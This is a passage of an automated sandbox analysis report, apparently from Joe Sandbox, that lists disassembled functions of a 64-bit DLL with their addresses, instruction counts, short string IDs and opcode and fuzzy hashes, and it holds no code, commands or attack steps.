                                                                        Function 000000018000F850 Relevance: 1.4, Strings: 1, Instructions: 163COMMON
                                                                        Download Yara Rule
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: @w
                                                                        • API String ID: 0-944231553
                                                                        • Opcode ID: c62698ca862748290deff37dbeae1284497843e3a26363df58e576464d5d91bf
                                                                        • Instruction ID: df243339ed5dfb27a71782c8c2f06d47a97803031e232de8c2d6e3ba4040bb88
                                                                        • Opcode Fuzzy Hash: c62698ca862748290deff37dbeae1284497843e3a26363df58e576464d5d91bf
                                                                        • Instruction Fuzzy Hash: F8711B70A0870CAFDB54DF98C089A9EBBF2FB58344F018569E849DB250D7B5DB09CB46
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 0000000180008CE0 Relevance: 1.4, Strings: 1, Instructions: 153COMMON
                                                                        Download Yara Rule
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: Bc
                                                                        • API String ID: 0-1462570906
                                                                        • Opcode ID: bb32d9dcd96787bd8a8f04227a24e97fdf1c381b8affaa9db156290a7c3e22a3
                                                                        • Instruction ID: dead0ce6e7680749f0325db2eb2d2d98e5f0f481443c5f085bb9a6c050163051
                                                                        • Opcode Fuzzy Hash: bb32d9dcd96787bd8a8f04227a24e97fdf1c381b8affaa9db156290a7c3e22a3
                                                                        • Instruction Fuzzy Hash: D261037051C7848FD778DF18D48679ABBE0FB89310F504A1EE8CE97251EB70A881CB82
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 00000001800193E0 Relevance: 1.4, Strings: 1, Instructions: 151COMMON
                                                                        Download Yara Rule
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: ^jP:
                                                                        • API String ID: 0-862023069
                                                                        • Opcode ID: e4ead83b62ba6101e0d4cabc98bbbc4b022bb356436418f6c8f649225d2398a8
                                                                        • Instruction ID: ace09c2607ec452a29898bb4e5dc54e192226d3fce848d4d384df5a005a6c7d1
                                                                        • Opcode Fuzzy Hash: e4ead83b62ba6101e0d4cabc98bbbc4b022bb356436418f6c8f649225d2398a8
                                                                        • Instruction Fuzzy Hash: CF71FB7150468CABEBF6DF64CC897D977A0FB48344F908619E80A8F290DF749B49EB41
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 000000018002632C Relevance: 1.4, Strings: 1, Instructions: 148COMMON
                                                                        Download Yara Rule
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: I
                                                                        • API String ID: 0-1060183710
                                                                        • Opcode ID: c2af9cef214826b49f10dfe4968c25a96e4d6193812f15e310ee7a9a727fc859
                                                                        • Instruction ID: ae3d79be64af30b1f4e75dd9ee9a72591bd6ba9400723e70ae63a1a30844d111
                                                                        • Opcode Fuzzy Hash: c2af9cef214826b49f10dfe4968c25a96e4d6193812f15e310ee7a9a727fc859
                                                                        • Instruction Fuzzy Hash: 6D5169715687498FE799DF24C486B5ABBE0FB88381F60981DF881C73A5DB34D845CB82
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 000000018002344C Relevance: 1.4, Strings: 1, Instructions: 132COMMON
                                                                        Download Yara Rule
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: Wl
                                                                        • API String ID: 0-4029150239
                                                                        • Opcode ID: cedc8f8454eb56f89d88772d6cfbf11234f96ccc8d174e33b8960ea3f4b620f8
                                                                        • Instruction ID: d7a866325f4c5fcd7d1adabc0987594c312cbfe049b2cb9779afa79774e3d95e
                                                                        • Opcode Fuzzy Hash: cedc8f8454eb56f89d88772d6cfbf11234f96ccc8d174e33b8960ea3f4b620f8
                                                                        • Instruction Fuzzy Hash: AE416D7010CB848FC768DF28D08A75ABBE0FB9A304F004A5EE5CAC7256D771D849CB82
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 00000001800276A4 Relevance: 1.4, Strings: 1, Instructions: 127COMMON
                                                                        Download Yara Rule
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: i&
                                                                        • API String ID: 0-2605466503
                                                                        • Opcode ID: a7d6d7d4f4305a5d6465f18b8d33703bfb0f63f3c145402b07d6b5c29d0137f8
                                                                        • Instruction ID: 81657941480f421c29f900d13419b0ccab0bb9621c116f197cf156fbc85b2c1c
                                                                        • Opcode Fuzzy Hash: a7d6d7d4f4305a5d6465f18b8d33703bfb0f63f3c145402b07d6b5c29d0137f8
                                                                        • Instruction Fuzzy Hash: 4271D1705487C9CBEBBACF28C8897DE7BE4FB58704F20461DD8598A2A0DB759649CF01
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 0000000180022C48 Relevance: 1.4, Strings: 1, Instructions: 125COMMON
                                                                        Download Yara Rule
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: <;
                                                                        • API String ID: 0-2200011300
                                                                        • Opcode ID: 02deb070cdf7c7c94d140e5b76a29e9b96ecd402912a2b1909e63a8e6188e217
                                                                        • Instruction ID: 271d8a33b311c18a4ce53d7ed7a6b22a43be0d960f9b52811daf12c56d73586c
                                                                        • Opcode Fuzzy Hash: 02deb070cdf7c7c94d140e5b76a29e9b96ecd402912a2b1909e63a8e6188e217
                                                                        • Instruction Fuzzy Hash: 5E51D6705047098BDB49CF68C5C96D87FA0EB4C3ACF2A6219F84AA6291D774D586CBC8
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 00000001800207D0 Relevance: 1.4, Strings: 1, Instructions: 125COMMON
                                                                        Download Yara Rule
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: -Y
                                                                        • API String ID: 0-2680408692
                                                                        • Opcode ID: f7c13da451e2414f02279d1991a10d08d76afc2b5a6ccdeea1f6d92dd3f0ccd0
                                                                        • Instruction ID: cd8077665750fd2fbc7d5c6bc8b1034eb146360885a1846663aec8a08cedc12c
                                                                        • Opcode Fuzzy Hash: f7c13da451e2414f02279d1991a10d08d76afc2b5a6ccdeea1f6d92dd3f0ccd0
                                                                        • Instruction Fuzzy Hash: 7B418530209B488FE768DF28D08966ABBF0FB99740F50466DE686C7261D771DD45CB82
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 0000000180014368 Relevance: 1.4, Strings: 1, Instructions: 119COMMON
                                                                        Download Yara Rule
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: #X
                                                                        • API String ID: 0-1684620495
                                                                        • Opcode ID: 5ce426e489b13cb5dd9426aa8df30c6c42626cb023b28a6060ff33400ea5f906
                                                                        • Instruction ID: b09f0f30a3bdf96574687939c5c1b68061ec3a55cd5335389f3e3d429b9e41e7
                                                                        • Opcode Fuzzy Hash: 5ce426e489b13cb5dd9426aa8df30c6c42626cb023b28a6060ff33400ea5f906
                                                                        • Instruction Fuzzy Hash: 4151B3B05087848BE3B8DF18D48579ABBE1FBC8355F508A1EE4CDD7251DBB49888CB46
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 000000018000EFCC Relevance: 1.4, Strings: 1, Instructions: 114COMMON
                                                                        Download Yara Rule
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: >:
                                                                        • API String ID: 0-3322990640
                                                                        • Opcode ID: 517ed10a4e3274e387aad73abf8aa9e412becb7e7be0ffec391425645b3d0728
                                                                        • Instruction ID: 2ba0d68aa0737d5a4cff46dacaf2dba3a980ac981718949bb45cbf34d434f5ac
                                                                        • Opcode Fuzzy Hash: 517ed10a4e3274e387aad73abf8aa9e412becb7e7be0ffec391425645b3d0728
                                                                        • Instruction Fuzzy Hash: 7841C37160C7848FD7A8DF29D48579AB7E1FB99304F108A5EE88DC7295CB709848CB46
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 0000000180013E18 Relevance: 1.4, Strings: 1, Instructions: 112COMMON
                                                                        Download Yara Rule
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: 9+
                                                                        • API String ID: 0-3823199749
                                                                        • Opcode ID: e5004ec9447b48b6b2b2e64993096ccc52ac2c1ab67b5753838425352e5e7704
                                                                        • Instruction ID: 52a536007f26eb3db0e60ea573fd706cb0a1381b534f79c8567608f74a4b4fbd
                                                                        • Opcode Fuzzy Hash: e5004ec9447b48b6b2b2e64993096ccc52ac2c1ab67b5753838425352e5e7704
                                                                        • Instruction Fuzzy Hash: 6951EA71548789CBEBB6CF35CC897D976B0FB48354F908529E85E8E290DF748B498B01
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 0000000180020AC4 Relevance: 1.4, Strings: 1, Instructions: 112COMMON
                                                                        Download Yara Rule
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: mLDM
                                                                        • API String ID: 0-233845578
                                                                        • Opcode ID: 9ed39a3ebaf21a008e9915a8c50dc8de05b6ca0952ece330c35f0bf9deb79a9c
                                                                        • Instruction ID: 5cbb7f811cd657e8ad1b7f5b6a3900b2e80834101b2ac874698130050e9631bc
                                                                        • Opcode Fuzzy Hash: 9ed39a3ebaf21a008e9915a8c50dc8de05b6ca0952ece330c35f0bf9deb79a9c
                                                                        • Instruction Fuzzy Hash: 9151E5B050074A8BDB4CDF68C99A5DE7BB1FB48348F144A1DEC6A9A350D3B4D664CBC4
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 0000000180003CE8 Relevance: 1.4, Strings: 1, Instructions: 109COMMON
                                                                        Download Yara Rule
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: !S6%
                                                                        • API String ID: 0-2502476444
                                                                        • Opcode ID: 6b4b50e5c39155536d91a699a09ac82de18bc2f64584861a0cdfa380c6dc3a9a
                                                                        • Instruction ID: ad532a67c0c383509ce4d6b65128a8652df243eea6ee0c7aaf188e50b4d03e07
                                                                        • Opcode Fuzzy Hash: 6b4b50e5c39155536d91a699a09ac82de18bc2f64584861a0cdfa380c6dc3a9a
                                                                        • Instruction Fuzzy Hash: 1651A67015878CDBEBBADF28DC8A7D97BB0FB48304F904619D84E8A290DF7857498B45
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 000000018000DB74 Relevance: 1.4, Strings: 1, Instructions: 107COMMON
                                                                        Download Yara Rule
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: Sr
                                                                        • API String ID: 0-1849953400
                                                                        • Opcode ID: bc5cc8be020aac531251f012f5f0818ebb0a95d41355fb34dea15fd10ae4c8dc
                                                                        • Instruction ID: 4f7db0b2a871bea313f4724ef0654c3557c69b498742d4cd24630716a8a053d6
                                                                        • Opcode Fuzzy Hash: bc5cc8be020aac531251f012f5f0818ebb0a95d41355fb34dea15fd10ae4c8dc
                                                                        • Instruction Fuzzy Hash: 8351F77150478CAFDBBACF24C88A7CE7BA0FB49344F508619E94E8A290DFB45748DB41
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 000000018000F290 Relevance: 1.4, Strings: 1, Instructions: 100COMMON
                                                                        Download Yara Rule
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: N v
                                                                        • API String ID: 0-2321635733
                                                                        • Opcode ID: b650ad92336073f137fce11dd9c3fea444cfb32fd58793a4718e550cf076ad93
                                                                        • Instruction ID: 8b1ad7b74785ce0efb789ba37a5f7e40f028bffb15138559755fc8c6a4dc1ed0
                                                                        • Opcode Fuzzy Hash: b650ad92336073f137fce11dd9c3fea444cfb32fd58793a4718e550cf076ad93
                                                                        • Instruction Fuzzy Hash: A251B0B190038E8FEB88CF64C8465DF7BB0FB18308F504A19FC66A6260D3B49664CB85
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 000000018001D620 Relevance: 1.3, Strings: 1, Instructions: 94COMMON
                                                                        Download Yara Rule
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: C
                                                                        • API String ID: 0-3756324736
                                                                        • Opcode ID: 85dbe61371a39a14d2b5f68baf98841251929ce4e5171eec6e278e483689c529
                                                                        • Instruction ID: 255fef48433dae3fedb61bb9403bc59a01ca38089257084a2063c5e5ca471d7d
                                                                        • Opcode Fuzzy Hash: 85dbe61371a39a14d2b5f68baf98841251929ce4e5171eec6e278e483689c529
                                                                        • Instruction Fuzzy Hash: DD4102B051CB448FC768DF29C48965ABBF0FB9A754F10491DF689872A4D772D884CB83
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 000000018000DFCC Relevance: 1.3, Strings: 1, Instructions: 93COMMON
                                                                        Download Yara Rule
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: 2>
                                                                        • API String ID: 0-1841847077
                                                                        • Opcode ID: a96136c62873998a9bf218df3126a26f500040920cffa6e3ada23c704f796278
                                                                        • Instruction ID: 38b0d268bb9807617bd0e4ef1fefbb93bbb2743535cf1aa3302f18668e3ac782
                                                                        • Opcode Fuzzy Hash: a96136c62873998a9bf218df3126a26f500040920cffa6e3ada23c704f796278
                                                                        • Instruction Fuzzy Hash: 6841F37060CB848FE768CF28C48961ABBF1FB89354F204A5DF689C72A5C7B5D845CB46
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 000000018002093C Relevance: 1.3, Strings: 1, Instructions: 92COMMON
                                                                        Download Yara Rule
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: UGF3
                                                                        • API String ID: 0-2981179996
                                                                        • Opcode ID: 00b9b430868b34ab203f780312004b7a3f9db38ffaf101cd1310d8c7c866cdd8
                                                                        • Instruction ID: 908ffad05d9790401b031f513e136ec81261379b7ff8fc4011482b051f2030ea
                                                                        • Opcode Fuzzy Hash: 00b9b430868b34ab203f780312004b7a3f9db38ffaf101cd1310d8c7c866cdd8
                                                                        • Instruction Fuzzy Hash: AC41D3B091038E8FDF48DF64D89A5DE7BB0FB18348F104A19EC66A6290D3B49665CF85
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 000000018001EE5C Relevance: 1.3, Strings: 1, Instructions: 91COMMON
                                                                        Download Yara Rule
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: g
                                                                        • API String ID: 0-4085709437
                                                                        • Opcode ID: 8898bf0b88e1a617b0c0deae4cd3e28d815a61e1d8ecafa26f2e2136459dedd5
                                                                        • Instruction ID: ec2cd3003129212ab314f4f009ca8ca6ffca6e1aa500e54189966e8b9454609a
                                                                        • Opcode Fuzzy Hash: 8898bf0b88e1a617b0c0deae4cd3e28d815a61e1d8ecafa26f2e2136459dedd5
                                                                        • Instruction Fuzzy Hash: 793157712187488FC7A8DF28D08961ABBF0FB9A744F10496EFA8AC7265D771CC04CB42
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 0000000180016418 Relevance: 1.3, Strings: 1, Instructions: 89COMMON
                                                                        Download Yara Rule
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: |.m
                                                                        • API String ID: 0-2595118319
                                                                        • Opcode ID: 92ddf28f1c356ab03bc0505ec08d95af0741d59e36a6a02e1d131cc58f9f4d96
                                                                        • Instruction ID: 1506627e8ab4eba300f163b44028b19606e4ebaea23ceaa56405824c0baf830e
                                                                        • Opcode Fuzzy Hash: 92ddf28f1c356ab03bc0505ec08d95af0741d59e36a6a02e1d131cc58f9f4d96
                                                                        • Instruction Fuzzy Hash: 1241C2B090074E8FDB48CF68C48A4DE7FB0FB68398F204619EC59A6250D37896A4CBC5
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 000000018000BD24 Relevance: 1.3, Strings: 1, Instructions: 85COMMON
                                                                        Download Yara Rule
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: #X
                                                                        • API String ID: 0-1684620495
                                                                        • Opcode ID: ffbff1e1a92d71a1fdbdc724ef034ba15b0b49349a706bcc6f59dbf7b3898b5a
                                                                        • Instruction ID: b112e2a68db159ede4089e561eb98a2a0d4245b504247bc78974b6de6ba7f83d
                                                                        • Opcode Fuzzy Hash: ffbff1e1a92d71a1fdbdc724ef034ba15b0b49349a706bcc6f59dbf7b3898b5a
                                                                        • Instruction Fuzzy Hash: 7831E9706187848FE3B8DF28D48979BBBE0FB99344F50891DE4C9C7255DBB49849CB42
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 0000000180008F5C Relevance: 1.3, Strings: 1, Instructions: 85COMMON
                                                                        Download Yara Rule
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: l$G-
                                                                        • API String ID: 0-2501377068
                                                                        • Opcode ID: 1ff0ed9846faa87bb5b27edab3e000699ee341b0e759c59366243617fcec0d8c
                                                                        • Instruction ID: cbefcf1cf997f5ff266c300dfd4587204dd1e0eb67fe944dd85bb1cc727c901b
                                                                        • Opcode Fuzzy Hash: 1ff0ed9846faa87bb5b27edab3e000699ee341b0e759c59366243617fcec0d8c
                                                                        • Instruction Fuzzy Hash: 5641B1B181074E8FDB45DF68C48A5CE7FB0FB28398F204619E859A6260D3B4D6A4CBC5
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 000000018002BD20 Relevance: 1.3, Strings: 1, Instructions: 83COMMON
                                                                        Download Yara Rule
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: }f;|
                                                                        • API String ID: 0-2437595872
                                                                        • Opcode ID: 059d8a25e2aacdc38f03fa154f81eec481445a430154ce0fe971e9a978fb816b
                                                                        • Instruction ID: ddb9d602d863165b04c8a99276df03edd495d36b2ed68de30e2e1dd3dfeffa77
                                                                        • Opcode Fuzzy Hash: 059d8a25e2aacdc38f03fa154f81eec481445a430154ce0fe971e9a978fb816b
                                                                        • Instruction Fuzzy Hash: 5541B2B181038E8FDF48CF68C88A5CE7BB0FB18348F110A19F865A6260D3B4D664CF85
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 0000000180022AFC Relevance: 1.3, Strings: 1, Instructions: 83COMMON
                                                                        Download Yara Rule
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: :6
                                                                        • API String ID: 0-2882165023
                                                                        • Opcode ID: aa9f72429a5b87c164d356336b9cd2dff6fa43e72b1a2ec58e82fefcb8651bdb
                                                                        • Instruction ID: 740322d84372f0854c7166039b8833e26fa49cad7da4108c4c50f8b90de39d97
                                                                        • Opcode Fuzzy Hash: aa9f72429a5b87c164d356336b9cd2dff6fa43e72b1a2ec58e82fefcb8651bdb
                                                                        • Instruction Fuzzy Hash: 903171746187858BD70CDF28C15642EBBE1BB8C308F444B2DF4DAAA390D778A615CB4A
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 0000000180019D5C Relevance: 1.3, Strings: 1, Instructions: 82COMMON
                                                                        Download Yara Rule
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: .)4/
                                                                        • API String ID: 0-1187951824
                                                                        • Opcode ID: da802d97eeea30a3a1afcfaf8d49ed23e284d21ba55c848d778a22b692ba5156
                                                                        • Instruction ID: c527524dc8af80671ef02e94301641b3b945b8c568d4b44608716d96e26111d4
                                                                        • Opcode Fuzzy Hash: da802d97eeea30a3a1afcfaf8d49ed23e284d21ba55c848d778a22b692ba5156
                                                                        • Instruction Fuzzy Hash: F741C2B090078ECFDB48CF64C88A5DE7BB0FB58358F104A19F866A6250D7B8D665CBC5
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 00000001800030BC Relevance: 1.3, Strings: 1, Instructions: 79COMMON
                                                                        Download Yara Rule
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: j
                                                                        • API String ID: 0-1494279412
                                                                        • Opcode ID: 9de9d58014fd5f56acfebab85522d303df75911e99b29ee29c0185e9eb4e26cb
                                                                        • Instruction ID: bf23e74b930cb50e719e6ea0bb017ca8ad7cb815fcad4183ced6f4eefd858a24
                                                                        • Opcode Fuzzy Hash: 9de9d58014fd5f56acfebab85522d303df75911e99b29ee29c0185e9eb4e26cb
                                                                        • Instruction Fuzzy Hash: 2A3103B190074E8BCB48DF28C88A0DE3FA1FB68388F10461DF859A6250D7B4D6A4CFC4
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 0000000180023304 Relevance: 1.3, Strings: 1, Instructions: 77COMMON
                                                                        Download Yara Rule
                                                                        Strings
                                                                        Memory Dump Source
                                                                        • Source File: 00000000.00000002.492455276.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false
                                                                        Joe Sandbox IDA Plugin
                                                                        • Snapshot File: hcaresult_0_2_180001000_loaddll64.jbxd
                                                                        Yara matches
                                                                        Similarity
                                                                        • API ID:
                                                                        • String ID: m[
                                                                        • API String ID: 0-1176897218
                                                                        • Opcode ID: 152df2dcbee70cce799082e6bf2d8d8f242c1d73cee316818e31239bc9927954
                                                                        • Instruction ID: 380b1ef4d3a2f37ee6362160d1e5147efd3de156ba870ef8257039db8a84c24a
                                                                        • Opcode Fuzzy Hash: 152df2dcbee70cce799082e6bf2d8d8f242c1d73cee316818e31239bc9927954
                                                                        • Instruction Fuzzy Hash: B241C1B080030E8FDB44CF64C88A5CE7FB0FB68798F200219F859A6250D7B8D6A4CBD5
                                                                        Uniqueness

                                                                        Uniqueness Score: -1.00%

                                                                        Function 000000018001D254 Relevance: 1.3, Strings: 1, Instructions: 74COMMON
                                                                        Download Yara Rule
